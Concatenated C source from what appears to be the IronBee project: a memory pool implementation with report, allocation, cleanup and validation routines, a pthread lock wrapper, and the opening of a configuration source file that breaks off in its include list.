list of lines. It facilitates building up * reports and can be converted into a single buffer via * ib_mpool_report_convert(). */ struct ib_mpool_report_t { /** First line. */ ib_mpool_report_line_t *first; /** Last line. */ ib_mpool_report_line_t *last; /** Total size of report. */ size_t total_size; }; /** * Initialize a report. * * @param[in] report Report to initialize. */ static void ib_mpool_report_init( ib_mpool_report_t *report ) { assert(report != NULL); report->first = NULL; report->last = NULL; report->total_size = 0; return; } /** * Print to a report. * * @param[in] report Report to print to. * @param[in] fmt Format string. * @returns True iff success. */ static bool ib_mpool_report_printf( ib_mpool_report_t *report, const char* fmt, ... ) PRINTF_ATTRIBUTE(2, 3); static bool ib_mpool_report_printf( ib_mpool_report_t *report, const char *fmt, ... ) { assert(report != NULL); assert(fmt != NULL); va_list ap; char *page = (char *)malloc(IB_MPOOL_REPORT_MAX_LINE); if (page == NULL) { return false; } ib_mpool_report_line_t *new_line = (ib_mpool_report_line_t *)malloc(sizeof(*new_line)); if (new_line == NULL) { free(page); return false; } new_line->next = NULL; new_line->line = page; if (report->first == NULL) { report->first = report->last = new_line; } else { report->last->next = new_line; report->last = new_line; } va_start(ap, fmt); int n = vsnprintf(page, IB_MPOOL_REPORT_MAX_LINE, fmt, ap); va_end(ap); report->total_size += n; return true; } /** * Convert report to a single string. * * @param[in] report Report to convert. * @return Concatenation of all lines in @a report or NULL on allocation * failure. */ static char *ib_mpool_report_convert( ib_mpool_report_t *report ) { assert(report != NULL); if (report->total_size == 0) { return NULL; } char *page = (char *)malloc(report->total_size + 1); if (page == NULL) { return NULL; } *page = '\0'; IB_MPOOL_FOREACH(ib_mpool_report_line_t, line, report->first) { strcat(page, line->line); } return page; } /** * Destroy report. * * Frees all memory associated with @a report. * * @param[in] report Report to destroy. */ static void ib_mpool_report_destroy( ib_mpool_report_t *report ) { assert(report != NULL); IB_MPOOL_FOREACH(ib_mpool_report_line_t, line, report->first) { free(line->line); free(line); } return; } /**@}*/ /** * @name Helper functions for ib_mpool_debug_report() and ib_mpool_analyze(). **/ /* Highly specific helper for next two functions. */ /**@cond DoNotDocument */ #define IMR_PRINTF(fmt, ...) \ do { \ bool imr_result = \ ib_mpool_report_printf(report, (fmt), __VA_ARGS__); \ if (! imr_result) { \ goto failure; \ } \ } while (0) /**@endcond*/ /** * Add debug report for @a mp to @a report. * * @sa ib_mpool_debug_report() * * @param[in] mp Memory pool to report on. * @param[in] report Report to append to. * @return true iff success. */ static bool ib_mpool_debug_report_helper( const ib_mpool_t *mp, ib_mpool_report_t *report ) { assert(mp != NULL); assert(report != NULL); bool result; char *path = ib_mpool_path(mp); if (path == NULL) { goto failure; } IMR_PRINTF( "Debug Report for %p [%s]\n", mp, path ); IMR_PRINTF("%s", "Attributes:\n"); IMR_PRINTF(" pagesize = %zd\n", mp->pagesize); IMR_PRINTF(" inuse = %zd\n", mp->inuse); IMR_PRINTF(" large_allocation_inuse = %zd\n", mp->large_allocation_inuse); IMR_PRINTF(" next = %p\n", mp->next); IMR_PRINTF(" children = %p\n", mp->children); IMR_PRINTF(" children_end = %p\n", mp->children_end); IMR_PRINTF(" lock = %p\n", &(mp->lock)); IMR_PRINTF(" tracks = %p\n", mp->tracks); IMR_PRINTF(" large_allocations = %p\n", mp->large_allocations); IMR_PRINTF(" large_allocations_end = %p\n", mp->large_allocations_end); IMR_PRINTF(" cleanups = %p\n", mp->cleanups); IMR_PRINTF(" cleanups_end = %p\n", mp->cleanups_end); IMR_PRINTF(" free_pages = %p\n", mp->free_pages); IMR_PRINTF(" free_pointer_pages = %p\n", mp->free_pointer_pages); IMR_PRINTF(" free_cleanups = %p\n", mp->free_cleanups); IMR_PRINTF(" free_children = %p\n", mp->free_children); IMR_PRINTF("%s", "Tracks:\n"); for (size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num) { size_t track_size = IB_MPOOL_TRACK_SIZE(track_num); IMR_PRINTF(" %2zd (<= %5zd):\n", track_num, track_size); IB_MPOOL_FOREACH( const ib_mpool_page_t, mpage, mp->tracks[track_num] ) { IMR_PRINTF( " %p: page=%p used=%zd\n", mpage, &(mpage->page), mpage->used ); } } IMR_PRINTF("%s", "Large Allocations:\n"); IB_MPOOL_FOREACH( const ib_mpool_pointer_page_t, ppage, mp->large_allocations ) { IMR_PRINTF(" %p: next_pointer=%zd\n", ppage, ppage->next_pointer); } IMR_PRINTF("%s", "Cleanups:\n"); IB_MPOOL_FOREACH( const ib_mpool_cleanup_t, cleanup, mp->cleanups ) { IMR_PRINTF( " %p: function=%p data=%p", cleanup, cleanup->function, cleanup->function_data ); } IMR_PRINTF("%s", "Free Buffers:\n"); IB_MPOOL_FOREACH( const ib_mpool_page_t, mpage, mp->free_pages ) { IMR_PRINTF(" %p\n", mpage); } IMR_PRINTF("%s", "Free Pointer Buffers:\n"); IB_MPOOL_FOREACH( const ib_mpool_pointer_page_t, ppage, mp->free_pointer_pages ) { IMR_PRINTF(" %p\n", ppage); } IMR_PRINTF("%s", "Free Cleanups:\n"); IB_MPOOL_FOREACH( const ib_mpool_cleanup_t, cleanup, mp->free_cleanups ) { IMR_PRINTF(" %p\n", cleanup); } IMR_PRINTF("Done with %p. Moving on to free children.\n\n", mp); IB_MPOOL_FOREACH( const ib_mpool_t, free_child, mp->free_children ) { bool result = ib_mpool_debug_report_helper(free_child, report); if (! result) { goto failure; } } IMR_PRINTF("Done with %p. Moving on to children.\n\n", mp); IB_MPOOL_FOREACH( const ib_mpool_t, child, mp->children ) { bool result = ib_mpool_debug_report_helper(child, report); if (! result) { goto failure; } } result = true; goto finished; failure: result = false; goto finished; finished: if (path != NULL) { free(path); } return result; } /** * Add analyze of free child @a free_child to @a report. * * @sa ib_mpool_analyze_helper() * * @param[in] free_child Free child to analyze. * @param[in] report Report to append to. * @param[out] free_child_use Bytes used by free child. * @return true iff success. */ static bool ib_mpool_analyze_free_child( const ib_mpool_t *free_child, ib_mpool_report_t *report, size_t *free_child_use ) { assert(free_child != NULL); assert(report != NULL); const size_t unit_page_cost = free_child->pagesize + sizeof(ib_mpool_page_t) - 1; size_t free_page = 0; size_t free_cleanup = 0; size_t free_pointer_page = 0; size_t total_used = sizeof(*free_child); IB_MPOOL_FOREACH( const ib_mpool_page_t, mpage, free_child->free_pages ) { free_page += unit_page_cost; } IB_MPOOL_FOREACH( const ib_mpool_pointer_page_t, ppage, free_child->free_pointer_pages ) { free_pointer_page += sizeof(ib_mpool_pointer_page_t); } IB_MPOOL_FOREACH( const ib_mpool_cleanup_t, cleanup, free_child->free_cleanups ) { free_cleanup += sizeof(ib_mpool_cleanup_t); } IMR_PRINTF("%zd=%zd+%zd+%zd", free_page + free_cleanup + free_pointer_page, free_page, free_cleanup, free_pointer_page ); total_used += free_page + free_cleanup + free_pointer_page; if (free_child->free_children != NULL) { IMR_PRINTF("%s", " + ["); IB_MPOOL_FOREACH( const ib_mpool_t, free_subchild, free_child->free_children ) { size_t child_use = 0; ib_mpool_analyze_free_child(free_subchild, report, &child_use); total_used += child_use; if (free_subchild->next != NULL) { IMR_PRINTF("%s", " + "); } } IMR_PRINTF("%s", "]"); } *free_child_use = total_used; return true; failure: *free_child_use = 0; return false; } /** * Add analysis report for @a mp to @a report. * * @sa ib_mpool_analyze() * * @param[in] mp Memory pool to report on. * @param[in] report Report to append to. * @return true iff success. */ static bool ib_mpool_analyze_helper( const ib_mpool_t *mp, ib_mpool_report_t *report ) { assert(mp != NULL); assert(report != NULL); size_t page_cost = 0; size_t page_use = 0; size_t cleanup_cost = 0; size_t cleanup_use = 0; size_t pointer_page_cost = 0; size_t pointer_page_use = 0; size_t free_page = 0; size_t free_cleanup = 0; size_t free_pointer_page = 0; bool result; const size_t unit_page_cost = mp->pagesize + sizeof(ib_mpool_page_t) - 1; char *path = ib_mpool_path(mp); if (path == NULL) { goto failure; } IMR_PRINTF( "Analysis of mpool %p [%s]\n", mp, path ); IMR_PRINTF("%s", "Tracks:\n"); for (size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num) { size_t track_size = IB_MPOOL_TRACK_SIZE(track_num); size_t track_cost = 0; size_t track_use = 0; IB_MPOOL_FOREACH( const ib_mpool_page_t, mpage, mp->tracks[track_num] ) { track_cost += unit_page_cost; track_use += mpage->used; } IMR_PRINTF( " %2zd (<= %-5zd): cost=%12zd use=%12zd waste=%12zd " "efficiency=%4.1f%%\n", track_num, track_size, track_cost, track_use, track_cost - track_use, 100*(double)track_use / track_cost ); page_use += track_use; page_cost += track_cost; } IB_MPOOL_FOREACH( const ib_mpool_pointer_page_t, ppage, mp->large_allocations ) { pointer_page_use += ppage->next_pointer * sizeof(void *); pointer_page_cost += sizeof(ib_mpool_pointer_page_t); } IB_MPOOL_FOREACH( const ib_mpool_cleanup_t, cleanup, mp->cleanups ) { cleanup_use += sizeof(ib_mpool_cleanup_t); cleanup_cost += sizeof(ib_mpool_cleanup_t); } IB_MPOOL_FOREACH( const ib_mpool_page_t, mpage, mp->free_pages ) { free_page += unit_page_cost; } IB_MPOOL_FOREACH( const ib_mpool_pointer_page_t, ppage, mp->free_pointer_pages ) { free_pointer_page += sizeof(ib_mpool_pointer_page_t); } IB_MPOOL_FOREACH( const ib_mpool_cleanup_t, cleanup, mp->free_cleanups ) { free_cleanup += sizeof(ib_mpool_cleanup_t); } IMR_PRINTF( "Pages: use=%12zd cost=%12zd waste=%12zd free=%12zd " "efficiency=%4.1f%%\n", page_use, page_cost, page_cost - page_use, free_page, 100*(double)page_use / page_cost ); IMR_PRINTF( "PointerPages: use=%12zd cost=%12zd waste=%12zd free=%12zd " "efficiency=%4.1f%%\n", pointer_page_use, pointer_page_cost, pointer_page_cost - pointer_page_use, free_pointer_page, (pointer_page_cost == 0 ? 100 : 100*(double)pointer_page_use / pointer_page_cost ) ); IMR_PRINTF( "LargeAllocations: use=%12zd (all others N/A)\n", mp->large_allocation_inuse ); IMR_PRINTF( "Cleanups: use=%12zd cost=%12zd waste=%12zd free=%12zd " "efficiency=%4.1f%%\n", cleanup_use, cleanup_cost, cleanup_cost - cleanup_use, free_cleanup, (cleanup_cost == 0 ? 100 : 100*(double)cleanup_use / cleanup_cost ) ); { size_t total_use = page_use + pointer_page_use + cleanup_use + mp->large_allocation_inuse; size_t total_cost = page_cost + pointer_page_cost + cleanup_cost + mp->large_allocation_inuse; size_t total_free_cost = free_page + free_pointer_page + free_cleanup; IMR_PRINTF( "Total: use=%12zd cost=%12zd waste=%12zd " "free=%12zd efficiency=%4.1f%%\n", total_use, total_cost, total_cost - total_use, total_free_cost, (total_cost == 0 ? 100 : 100*(double)total_use / total_cost ) ); } if (mp->free_children != NULL) { IMR_PRINTF("%s", "Free children: "); size_t total_free_child_use = 0; IB_MPOOL_FOREACH( const ib_mpool_t, free_child, mp->free_children ) { size_t free_child_use = 0; bool result = ib_mpool_analyze_free_child( free_child, report, &free_child_use ); if (! result) { goto failure; } total_free_child_use += free_child_use; if (free_child->next != NULL) { IMR_PRINTF("%s", " + "); } } IMR_PRINTF("\nTotal Free Child Use=%zd\n", total_free_child_use); } if (mp->children != NULL) { IMR_PRINTF("Done with %p. Moving on to children.\n\n", mp); IB_MPOOL_FOREACH( const ib_mpool_t, child, mp->children ) { bool result = ib_mpool_analyze_helper(child, report); if (! result) { goto failure; } } } result = true; goto finished; failure: result = false; goto finished; finished: if (path != NULL) { free(path); } return result; } #undef IMR_PRINTF /* End Internal */ /** * @name Public API * * Documented in mpool.h */ /**@{*/ ib_status_t ib_mpool_create( ib_mpool_t **pmp, const char *name, ib_mpool_t *parent ) { ib_status_t rc; assert(pmp != NULL); rc = ib_mpool_create_ex( pmp, name, parent, 0, NULL, NULL ); return rc; } ib_status_t ib_mpool_create_ex( ib_mpool_t **pmp, const char *name, ib_mpool_t *parent, size_t pagesize, ib_mpool_malloc_fn_t malloc_fn, ib_mpool_free_fn_t free_fn ) { ib_status_t rc; ib_mpool_t *mp = NULL; assert(pmp != NULL); if (pagesize == 0) { if (parent != NULL) { pagesize = parent->pagesize; } else { pagesize = IB_MPOOL_DEFAULT_PAGE_SIZE; } } if (pagesize < IB_MPOOL_MINIMUM_PAGESIZE) { pagesize = IB_MPOOL_MINIMUM_PAGESIZE; } if (malloc_fn == NULL) { if (parent != NULL) { malloc_fn = parent->malloc_fn; } else { malloc_fn = &malloc; } } if (free_fn == NULL) { if (parent != NULL) { free_fn = parent->free_fn; } else { free_fn = &free; } } bool reacquired = false; if (parent != NULL) { rc = ib_lock_lock(&(parent->lock)); if (rc != IB_OK) { goto failure; } if ( parent->free_children != NULL && parent->free_children->pagesize == pagesize && parent->free_children->malloc_fn == malloc_fn && parent->free_children->free_fn == free_fn ) { mp = parent->free_children; parent->free_children = mp->next; mp->next = NULL; reacquired = true; assert(mp->inuse == 0); assert(mp->large_allocation_inuse == 0); } ib_lock_unlock(&(parent->lock)); } if (! reacquired) { mp = (ib_mpool_t *)malloc_fn(sizeof(**pmp)); if (mp == NULL) { return IB_EALLOC; } memset(mp, 0, sizeof(**pmp)); } *pmp = mp; rc = ib_lock_init(&(mp->lock)); if (rc != IB_OK) { goto failure; } mp->pagesize = pagesize; mp->malloc_fn = malloc_fn; mp->free_fn = free_fn; mp->inuse = 0; mp->large_allocation_inuse = 0; mp->parent = parent; rc = ib_mpool_setname(mp, name); if (rc != IB_OK) { return rc; } if (parent != NULL) { rc = ib_lock_lock(&(parent->lock)); if (rc != IB_OK) { goto failure; } mp->next = parent->children; if (parent->children == NULL) { parent->children_end = mp; } parent->children = mp; ib_lock_unlock(&(parent->lock)); } #ifdef IB_MPOOL_VALGRIND VALGRIND_CREATE_MEMPOOL(mp, IB_MPOOL_REDZONE_SIZE, 0); #endif return IB_OK; failure: if (mp != NULL) { if (mp->name != NULL) { free_fn(mp->name); } free_fn(mp); } *pmp = NULL; return rc; } ib_status_t ib_mpool_setname( ib_mpool_t *mp, const char *name ) { assert(mp != NULL); if (mp->name != NULL) { mp->free_fn(mp->name); mp->name = NULL; } if (name != NULL) { size_t len = strlen(name); mp->name = (char *)mp->malloc_fn(len+1); if (mp->name == NULL) { return IB_EALLOC; } memcpy(mp->name, name, len); mp->name[len] = '\0'; } return IB_OK; } const char *ib_mpool_name( const ib_mpool_t* mp ) { assert(mp != NULL); return mp->name; } size_t ib_mpool_inuse( const ib_mpool_t* mp ) { if (mp == NULL) { return 0; } return mp->inuse; } void *ib_mpool_alloc( ib_mpool_t *mp, size_t size ) { void *ptr = NULL; assert(mp != NULL); if (size == 0) { return &s_zero_length_buffer; } /* Actual size: will add redzone if small allocation. */ size_t actual_size = size; size_t track_number = ib_mpool_track_number(actual_size); if (track_number < IB_MPOOL_NUM_TRACKS) { /* Small allocation */ /* Need to make sure we leave red zone at end. */ actual_size += IB_MPOOL_REDZONE_SIZE; if (mp->tracks[track_number] == NULL || (mp->pagesize - mp->tracks[track_number]->used - IB_MPOOL_REDZONE_SIZE ) < actual_size ) { ib_mpool_page_t *mpage = ib_mpool_acquire_page(mp); if (mpage == NULL) { return NULL; } mpage->next = mp->tracks[track_number]; mpage->used = 0; if (mp->tracks[track_number] == NULL) { mp->tracks_end[track_number] = mpage; } mp->tracks[track_number] = mpage; } ib_mpool_page_t *mpage = mp->tracks[track_number]; assert( (mpage->used + actual_size) <= mp->pagesize - IB_MPOOL_REDZONE_SIZE ); ptr = &(mpage->page) + mpage->used + IB_MPOOL_REDZONE_SIZE; mpage->used += actual_size; #ifdef IB_MPOOL_VALGRIND VALGRIND_MEMPOOL_ALLOC(mp, ptr, size); #endif } else { /* Large allocation */ /* Large allocations do not use redzones. */ if ( mp->large_allocations == NULL || mp->large_allocations->next_pointer == IB_MPOOL_POINTER_PAGE_SIZE ) { ib_mpool_pointer_page_t *pointers = ib_mpool_acquire_pointer_page(mp); if (pointers == NULL) { return NULL; } memset( pointers->pointers, 0, sizeof(pointers->pointers) ); pointers->next = mp->large_allocations; pointers->next_pointer = 0; if (mp->large_allocations == NULL) { mp->large_allocations_end = pointers; } mp->large_allocations = pointers; } ptr = mp->malloc_fn(size); if (ptr == NULL) { return NULL; } mp->large_allocations->pointers[mp->large_allocations->next_pointer] = ptr; ++mp->large_allocations->next_pointer; mp->large_allocation_inuse += size; } mp->inuse += actual_size; return ptr; } void ib_mpool_clear( ib_mpool_t *mp ) { if (mp == NULL) { return; } ib_mpool_call_cleanups(mp); ib_mpool_free_large_allocations(mp); ib_mpool_setname(mp, NULL); for (size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num) { if (mp->tracks[track_num] != NULL) { assert(mp->tracks_end[track_num] != NULL); #ifdef IB_MPOOL_VALGRIND IB_MPOOL_FOREACH( const ib_mpool_page_t, mpage, mp->tracks[track_num] ) { int rc = VALGRIND_MAKE_MEM_NOACCESS(&(mpage->page), mp->pagesize); assert(rc < 2); } #endif mp->tracks_end[track_num]->next = mp->free_pages; mp->free_pages = mp->tracks[track_num]; mp->tracks[track_num] = NULL; mp->tracks_end[track_num] = NULL; } } if (mp->large_allocations != NULL) { assert(mp->large_allocations_end != NULL); mp->large_allocations_end->next = mp->free_pointer_pages; mp->free_pointer_pages = mp->large_allocations; mp->large_allocations = NULL; mp->large_allocations_end = NULL; } if (mp->cleanups != NULL) { assert(mp->cleanups_end != NULL); mp->cleanups_end->next = mp->free_cleanups; mp->free_cleanups = mp->cleanups; mp->cleanups = NULL; mp->cleanups_end = NULL; } mp->inuse = 0; mp->large_allocation_inuse = 0; IB_MPOOL_FOREACH(ib_mpool_t, child, mp->children) { ib_mpool_clear(child); } #ifdef IB_MPOOL_VALGRIND VALGRIND_DESTROY_MEMPOOL(mp); VALGRIND_CREATE_MEMPOOL(mp, IB_MPOOL_REDZONE_SIZE, 0); #endif return; } void ib_mpool_destroy( ib_mpool_t *mp ) { ib_mpool_call_cleanups(mp); ib_mpool_free_large_allocations(mp); for (size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num) { IB_MPOOL_FOREACH(ib_mpool_page_t, mpage, mp->tracks[track_num]) { mp->free_fn(mpage); } } IB_MPOOL_FOREACH(ib_mpool_pointer_page_t, ppage, mp->large_allocations) { mp->free_fn(ppage); } IB_MPOOL_FOREACH(ib_mpool_cleanup_t, cleanup, mp->cleanups) { mp->free_fn(cleanup); } IB_MPOOL_FOREACH(ib_mpool_page_t, mpage, mp->free_pages) { mp->free_fn(mpage); } IB_MPOOL_FOREACH(ib_mpool_pointer_page_t, ppage, mp->free_pointer_pages) { mp->free_fn(ppage); } IB_MPOOL_FOREACH(ib_mpool_cleanup_t, cleanup, mp->free_cleanups) { mp->free_fn(cleanup); } /* We remove the child's parent link so that the child does not * worry about us as we also face imminent destruction. */ IB_MPOOL_FOREACH(ib_mpool_t, free_child, mp->free_children) { free_child->parent = NULL; ib_mpool_destroy(free_child); } IB_MPOOL_FOREACH(ib_mpool_t, child, mp->children) { child->parent = NULL; ib_mpool_destroy(child); } if (mp->parent) { /* We have no good options if lock or unlock fails, so we hope. */ ib_lock_lock(&(mp->parent->lock)); ib_mpool_remove_child_from_parent(mp); ib_lock_unlock(&(mp->parent->lock)); } if (mp->name) { mp->free_fn(mp->name); } mp->free_fn(mp); #ifdef IB_MPOOL_VALGRIND /* Check existence so we don't double destroy free children's pools. */ if (VALGRIND_MEMPOOL_EXISTS(mp)) { VALGRIND_DESTROY_MEMPOOL(mp); } #endif return; } void ib_mpool_release( ib_mpool_t *mp ) { if (mp == NULL) { return; } if (mp->parent == NULL) { ib_mpool_destroy(mp); return; } /* Clear pool and all subpools. */ ib_mpool_clear(mp); /* Release all subpools. */ IB_MPOOL_FOREACH(ib_mpool_t, child, mp->children) { ib_mpool_release(child); } ib_lock_lock(&(mp->parent->lock)); /* Remove from parent child list. */ ib_mpool_remove_child_from_parent(mp); /* Add to parent free children list. */ mp->next = mp->parent->free_children; mp->parent->free_children = mp; ib_lock_unlock(&(mp->parent->lock)); #ifdef IB_MPOOL_VALGRIND VALGRIND_DESTROY_MEMPOOL(mp); #endif return; } ib_status_t ib_mpool_cleanup_register( ib_mpool_t *mp, ib_mpool_cleanup_fn_t cleanup_function, void *function_data ) { assert(mp != NULL); assert(cleanup_function != NULL); ib_mpool_cleanup_t *cleanup = ib_mpool_acquire_cleanup(mp); if (cleanup == NULL) { return IB_EALLOC; } cleanup->next = mp->cleanups; cleanup->function = cleanup_function; cleanup->function_data = function_data; if (mp->cleanups == NULL) { mp->cleanups_end = cleanup; } mp->cleanups = cleanup; return IB_OK; } char DLL_PUBLIC *ib_mpool_path( const ib_mpool_t *mp ) { static const char* c_null_name = "null"; /**@cond DoNotDocument*/ #define NAME_OF(mp) ((mp)->name ? (mp)->name : c_null_name) /**@endcond*/ size_t path_length = 0; char *path_buffer = NULL; char *path_i = NULL; /* Pass 1, estimate length. */ for ( const ib_mpool_t* current = mp; current != NULL; current = current->parent ) { path_length += 1 + strlen(NAME_OF(current)); } assert(path_length > 0); path_buffer = (char *)malloc(path_length + 1); if (path_buffer == NULL) { return NULL; } path_i = path_buffer + path_length; *path_i = '\0'; /* Pass 2, fill buffer. */ for ( const ib_mpool_t* current = mp; current != NULL; current = current->parent ) { size_t length = strlen(NAME_OF(current)); path_i -= length; memcpy(path_i, NAME_OF(current), length); --path_i; *path_i = '/'; } assert(path_i == path_buffer); return path_buffer; #undef NAME_OF } ib_status_t ib_mpool_validate( const ib_mpool_t *mp, char **message ) { /**@cond DoNotDocument*/ #define VALIDATE_ERROR(fmt, ...) \ do { \ error_message = (char *)mp->malloc_fn(c_message_size); \ if (error_message != NULL) { \ snprintf(error_message, c_message_size, fmt, __VA_ARGS__); \ } \ goto error; \ } while (0); /**@endcond*/ static const size_t c_message_size = 1024; assert(mp != NULL); assert(message != NULL); char *error_message = NULL; /* Validate use of each page */ for ( size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num ) { size_t track_size = IB_MPOOL_TRACK_SIZE(track_num); IB_MPOOL_FOREACH(ib_mpool_page_t, mpage, mp->tracks[track_num]) { /* If the page is not the first in the track then its remaining * memory must be less than the appropriate size: i.e., too small * to do another allocation. */ size_t remaining = mp->pagesize - mpage->used; if ( mpage != mp->tracks[track_num] && remaining >= track_size + 2*IB_MPOOL_REDZONE_SIZE ) { VALIDATE_ERROR( "Available memory: %zd %p %zd", track_num, mpage, remaining ); } } } /* Validate pointer pages */ IB_MPOOL_FOREACH(ib_mpool_pointer_page_t, ppage, mp->large_allocations) { /* If the page is not the first, then its next_pointer must be * IB_MPOOL_POINTER_PAGE_SIZE. */ if ( ppage != mp->large_allocations && ppage->next_pointer != IB_MPOOL_POINTER_PAGE_SIZE ) { VALIDATE_ERROR( "Available pointers: %p %zd", ppage, ppage->next_pointer ); } /* There can be no null pointers before ppage->next_pointer. */ for (size_t i = 0; i < ppage->next_pointer; ++i) { if (ppage->pointers[i] == NULL) { VALIDATE_ERROR( "Early NULL pointer: %p %zd", ppage, i ); } } } /* Validate cleanups */ IB_MPOOL_FOREACH(ib_mpool_cleanup_t, cleanup, mp->cleanups) { /* Every cleanup must have non-null function. */ if (cleanup->function == NULL) { VALIDATE_ERROR( "NULL cleanup: %p", cleanup ); } } /* Validate child of parent */ if (mp->parent) { ib_mpool_t *child = mp->parent->children; while (child != NULL && child != mp) { child = child->next; } if (child == NULL) { child = mp->parent->free_children; while (child != NULL && child != mp) { child = child->next; } } if (child == NULL) { VALIDATE_ERROR( "Not a child or free child of my parent: %p", child ); } } /* Validate inuse */ { size_t inuse = mp->large_allocation_inuse; for ( size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num ) { IB_MPOOL_FOREACH(ib_mpool_page_t, mpage, mp->tracks[track_num]) { inuse += mpage->used; } } if (inuse != mp->inuse) { VALIDATE_ERROR( "Inconsistent inuse: %zd %zd", inuse, mp->inuse ); } } /* Validate end pointers */ /** @cond DoNotDocument */ #define VALIDATE_END(list_type, begin, end, name) \ { \ if ((begin) != NULL) { \ const list_type *ve_i = (begin); \ while (ve_i->next != NULL) { \ ve_i = ve_i->next; \ } \ if (ve_i != (end)) { \ VALIDATE_ERROR( \ "List " name " has invalid end: %p %p", \ ve_i, (end) \ ); \ } \ } \ else if ((end) != NULL) { \ VALIDATE_ERROR( \ "List " name " has end but no beginning: %p", \ (end) \ ); \ } \ } /** @endcond */ VALIDATE_END(ib_mpool_t, mp->children, mp->children_end, "children"); for ( size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num ) { VALIDATE_END( ib_mpool_page_t, mp->tracks[track_num], mp->tracks_end[track_num], "track" ); } VALIDATE_END( ib_mpool_pointer_page_t, mp->large_allocations, mp->large_allocations_end, "large_allocations" ); VALIDATE_END( ib_mpool_cleanup_t, mp->cleanups, mp->cleanups_end, "cleanups" ); #undef VALIDATE_END /* Validate children */ IB_MPOOL_FOREACH(ib_mpool_t, child, mp->children) { if (child->parent != mp) { VALIDATE_ERROR( "Child does not consider me its parent: %p %p", child, child->parent ); } ib_status_t rc = ib_mpool_validate(child, message); if (rc == IB_EOTHER) { goto child_error; } if (rc != IB_OK) { return rc; } } /* Validate free children */ IB_MPOOL_FOREACH(ib_mpool_t, free_child, mp->free_children) { if (free_child->parent != mp) { VALIDATE_ERROR( "Free Child does not consider me its parent: %p %p", free_child, free_child->parent ); } /* Free child specific checks. */ if (free_child->children != NULL) { VALIDATE_ERROR( "Free Child has children: %p", free_child ); } for ( size_t track_num = 0; track_num < IB_MPOOL_NUM_TRACKS; ++track_num ) { if (free_child->tracks[track_num] != NULL) { VALIDATE_ERROR( "Free Child has pages: %p %zd", free_child, track_num ); } } if (free_child->large_allocations != NULL) { VALIDATE_ERROR( "Free Child has large allocations: %p", free_child ); } if (free_child->cleanups != NULL) { VALIDATE_ERROR( "Free Child has cleanups: %p", free_child ); } if ( free_child->pagesize != mp->pagesize || free_child->malloc_fn != mp->malloc_fn || free_child->free_fn != mp->free_fn ) { VALIDATE_ERROR( "Free Child has different parameters: %p", free_child ); } /* Normal validation, including validation of free grandchildren. */ ib_status_t rc = ib_mpool_validate(free_child, message); if (rc == IB_EOTHER) { goto child_error; } if (rc != IB_OK) { return rc; } } /* Normal exit */ return IB_OK; error: { char *message_page = (char *)mp->malloc_fn(c_message_size); if (! message_page) { *message = NULL; } else { *message = message_page; snprintf(message_page, c_message_size, "%p [%s]: %s", mp, (mp->name ? mp->name : "NULL"), (error_message ? error_message : "No message") ); if (error_message != NULL) { mp->free_fn(error_message); } } } /* Fall through */ child_error: return IB_EOTHER; #undef VALIDATE_ERROR } char *ib_mpool_analyze( const ib_mpool_t *mp ) { assert(mp != NULL); ib_mpool_report_t report; char *report_text = NULL; ib_mpool_report_init(&report); bool result = ib_mpool_analyze_helper(mp, &report); if (result) { report_text = ib_mpool_report_convert(&report); } ib_mpool_report_destroy(&report); return report_text; } char *ib_mpool_debug_report( const ib_mpool_t *mp ) { assert(mp != NULL); ib_mpool_report_t report; char *report_text = NULL; ib_mpool_report_init(&report); bool result = ib_mpool_debug_report_helper(mp, &report); if (result) { report_text = ib_mpool_report_convert(&report); } ib_mpool_report_destroy(&report); return report_text; } /* All of the following routines are written in terms of the previous and * do not directly touch mp. */ ib_mpool_t *ib_mpool_parent( ib_mpool_t *mp ) { assert(mp != NULL); return mp->parent; } /**@}*/
crustymonkey/ironbee
util/lock.c
<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Lock Utilities * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/lock.h> ib_status_t ib_lock_init(ib_lock_t *lock) { int rc = pthread_mutex_init(lock, NULL); if (rc != 0) { return IB_EALLOC; } return IB_OK; } ib_status_t ib_lock_lock(ib_lock_t *lock) { int rc = pthread_mutex_lock(lock); if (rc != 0) { return IB_EUNKNOWN; } return IB_OK; } ib_status_t ib_lock_unlock(ib_lock_t *lock) { int rc = pthread_mutex_unlock(lock); if (rc != 0) { return IB_EUNKNOWN; } return IB_OK; } ib_status_t ib_lock_destroy(ib_lock_t *lock) { int rc = pthread_mutex_destroy(lock); if (rc != 0) { return IB_EUNKNOWN; } return IB_OK; }
crustymonkey/ironbee
engine/config.c
<reponame>crustymonkey/ironbee<filename>engine/config.c /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Configuration * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/config.h> #include "config_private.h" #include "config-parser.h" #include "engine_private.h" #include <ironbee/context.h> #include <ironbee/flags.h> #include <ironbee/mm_mpool.h> #include <ironbee/mm_mpool_lite.h> #include <ironbee/strval.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #if defined(__cplusplus) && !defined(__STDC_FORMAT_MACROS) /* C99 